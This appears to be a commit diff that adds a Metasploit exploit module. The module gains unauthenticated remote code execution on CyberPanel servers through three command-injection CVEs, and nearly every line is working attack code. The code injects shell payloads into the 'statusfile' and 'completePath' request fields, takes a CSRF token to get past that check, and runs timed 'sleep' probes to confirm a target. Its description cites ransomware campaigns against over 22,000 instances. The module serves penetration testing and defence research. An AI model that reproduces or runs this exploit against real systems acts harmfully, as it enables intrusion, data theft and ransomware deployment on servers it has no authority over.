|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Module::HasActions |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + prepend Msf::Exploit::Remote::AutoCheck |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'CyberPanel Multi CVE Pre-auth RCE', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel: |
| 20 | +
|
| 21 | + - CVE-2024-51567: Command injection vulnerability in the "upgrademysqlstatus" endpoint. |
| 22 | + - CVE-2024-51568: Command Injection via the "completePath" parameter in the "outputExecutioner" sink. |
| 23 | + - CVE-2024-51378: Unauthenticated RCE in "/ftp/getresetstatus" and "/dns/getresetstatus". |
| 24 | +
|
| 25 | + These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks. |
| 26 | + }, |
| 27 | + 'Author' => [ |
| 28 | + 'DreyAnd', # Vulnerability discovery (CVE-2024-51567-8) |
| 29 | + 'Valentin Lobstein', # Metasploit Module |
| 30 | + 'Luka Petrovic (refr4g)' # Vulnerability discovery (CVE-2024-51378) |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'References' => [ |
| 34 | + ['CVE', '2024-51567'], |
| 35 | + ['CVE', '2024-51568'], |
| 36 | + ['CVE', '2024-51378'], |
| 37 | + ['URL', 'https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce'], |
| 38 | + ['URL', 'https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/'], |
| 39 | + ['URL', 'https://github.com/DreyAnd/CyberPanel-RCE'], |
| 40 | + ['URL', 'https://github.com/refr4g/CVE-2024-51378'], |
| 41 | + ['URL', 'https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/'], |
| 42 | + ['URL', 'https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882'] |
| 43 | + ], |
| 44 | + 'Platform' => %w[unix linux], |
| 45 | + 'Arch' => [ARCH_CMD], |
| 46 | + 'Targets' => [ |
| 47 | + [ |
| 48 | + 'Unix/Linux Command Shell', { |
| 49 | + 'Platform' => %w[unix linux], |
| 50 | + 'Arch' => ARCH_CMD |
| 51 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 52 | + } |
| 53 | + ] |
| 54 | + ], |
| 55 | + 'DefaultOptions' => { |
| 56 | + 'SSL' => true |
| 57 | + }, |
| 58 | + 'DefaultTarget' => 0, |
| 59 | + 'Privileged' => false, |
| 60 | + 'DisclosureDate' => '2024-10-27', |
| 61 | + 'Actions' => [ |
| 62 | + ['CVE-2024-51567', { 'Description' => 'Exploit using CVE-2024-51567' }], |
| 63 | + ['CVE-2024-51568', { 'Description' => 'Exploit using CVE-2024-51568' }], |
| 64 | + ['CVE-2024-51378', { 'Description' => 'Exploit using CVE-2024-51378' }] |
| 65 | + ], |
| 66 | + 'DefaultAction' => 'CVE-2024-51567', |
| 67 | + 'Notes' => { |
| 68 | + 'Stability' => [CRASH_SAFE], |
| 69 | + 'Reliability' => [REPEATABLE_SESSION], |
| 70 | + 'SideEffects' => [IOC_IN_LOGS] |
| 71 | + } |
| 72 | + ) |
| 73 | + ) |
| 74 | + |
| 75 | + register_options([ |
| 76 | + Opt::RPORT(8090) |
| 77 | + ]) |
| 78 | + end |
| 79 | + |
| 80 | + def detect_cyberpanel |
| 81 | + res = send_request_cgi({ |
| 82 | + 'method' => 'GET', |
| 83 | + 'uri' => normalize_uri(target_uri.path) |
| 84 | + }) |
| 85 | + |
| 86 | + return false unless res |
| 87 | + |
| 88 | + html = res.get_html_document |
| 89 | + |
| 90 | + paths = [ |
| 91 | + html.at('link[href="/static/baseTemplate/assets/finalLoginPageCSS/allCss.css"]')&.[]('href'), |
| 92 | + html.at('img[src="/static/baseTemplate/cyber-panel-logo.svg"]')&.[]('src') |
| 93 | + ] |
| 94 | + |
| 95 | + return false unless paths.all? |
| 96 | + |
| 97 | + paths.all? do |path| |
| 98 | + response = send_request_cgi({ |
| 99 | + 'method' => 'GET', |
| 100 | + 'uri' => normalize_uri(target_uri.path, path) |
| 101 | + }) |
| 102 | + response&.code == 200 |
| 103 | + end |
| 104 | + end |
| 105 | + |
| 106 | + def check |
| 107 | + return CheckCode::Safe('Target does not appear to be CyberPanel.') unless detect_cyberpanel |
| 108 | + |
| 109 | + if test_vulnerability(action.name.downcase) |
| 110 | + CheckCode::Vulnerable('Target is running CyberPanel and is vulnerable.') |
| 111 | + else |
| 112 | + CheckCode::Safe('Target is running CyberPanel but does not appear to be vulnerable.') |
| 113 | + end |
| 114 | + end |
| 115 | + |
| 116 | + def exploit |
| 117 | + execute_payload(action.name.downcase, payload.encoded) |
| 118 | + end |
| 119 | + |
| 120 | + def execute_payload(action, injected_payload) |
| 121 | + endpoint = nil |
| 122 | + method = nil |
| 123 | + payload_data = nil |
| 124 | + headers = {} |
| 125 | + ctype = nil |
| 126 | + |
| 127 | + case action |
| 128 | + when 'cve-2024-51567' |
| 129 | + endpoint = 'dataBases/upgrademysqlstatus' |
| 130 | + method = 'OPTIONS' |
| 131 | + payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload |
| 132 | + |
| 133 | + when 'cve-2024-51568' |
| 134 | + endpoint = 'filemanager/upload' |
| 135 | + method = 'POST' |
| 136 | + |
| 137 | + csrf_token = get_csrf_token |
| 138 | + |
| 139 | + post_data = Rex::MIME::Message.new |
| 140 | + random_domain = Rex::Text.rand_text_alphanumeric(8) |
| 141 | + random_complete_path = "/dev/null;#{injected_payload} #" |
| 142 | + random_filename = "#{Rex::Text.rand_text_alphanumeric(6)}.txt" |
| 143 | + random_content = Rex::Text.rand_text_alphanumeric(4) |
| 144 | + |
| 145 | + post_data.add_part(random_domain, nil, nil, 'form-data; name="domainName"') |
| 146 | + post_data.add_part(random_complete_path, nil, nil, 'form-data; name="completePath"') |
| 147 | + post_data.add_part(random_content, 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{random_filename}\"") |
| 148 | + payload_data = post_data.to_s |
| 149 | + |
| 150 | + headers['X-CSRFToken'] = csrf_token |
| 151 | + headers['Referer'] = "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'filemanager/upload')}" |
| 152 | + headers['Cookie'] = "csrftoken=#{csrf_token}" |
| 153 | + ctype = "multipart/form-data; boundary=#{post_data.bound}" |
| 154 | + |
| 155 | + when 'cve-2024-51378' |
| 156 | + endpoint = "#{['ftp', 'dns'].sample}/getresetstatus" |
| 157 | + method = 'OPTIONS' |
| 158 | + payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload |
| 159 | + |
| 160 | + else |
| 161 | + fail_with(Failure::BadConfig, 'Invalid action selected') |
| 162 | + end |
| 163 | + |
| 164 | + send_request_cgi({ |
| 165 | + 'method' => method, |
| 166 | + 'uri' => normalize_uri(target_uri.path, endpoint), |
| 167 | + 'data' => payload_data, |
| 168 | + 'ctype' => ctype, |
| 169 | + 'headers' => headers |
| 170 | + }) |
| 171 | + end |
| 172 | + |
| 173 | + def test_vulnerability(action) |
| 174 | + sleep_times = [rand(2..5), rand(2..5)].uniq.sort |
| 175 | + |
| 176 | + test_payloads = sleep_times.map { |t| "sleep #{t}" } |
| 177 | + confirmed_payloads = [] |
| 178 | + |
| 179 | + test_payloads.each do |test_payload| |
| 180 | + start_time = Time.now |
| 181 | + |
| 182 | + res = execute_payload(action, test_payload) |
| 183 | + |
| 184 | + next unless res |
| 185 | + |
| 186 | + elapsed_time = Time.now - start_time |
| 187 | + |
| 188 | + match = test_payload.match(/sleep (\d+)/) |
| 189 | + confirmed_payloads << test_payload if match && elapsed_time >= match[1].to_i |
| 190 | + end |
| 191 | + |
| 192 | + (confirmed_payloads & test_payloads).size == test_payloads.size |
| 193 | + end |
| 194 | + |
| 195 | + def get_csrf_token |
| 196 | + res = send_request_cgi({ |
| 197 | + 'method' => 'GET', |
| 198 | + 'uri' => normalize_uri(target_uri.path) |
| 199 | + }) |
| 200 | + |
| 201 | + csrf_token = res&.get_cookies&.match(/csrftoken=(\w+)/)&.captures&.first |
| 202 | + fail_with(Failure::NotFound, 'Unable to retrieve CSRF token.') unless csrf_token |
| 203 | + vprint_status("CSRF Token retrieved: #{csrf_token}") |
| 204 | + csrf_token |
| 205 | + end |
| 206 | +end |
0 commit comments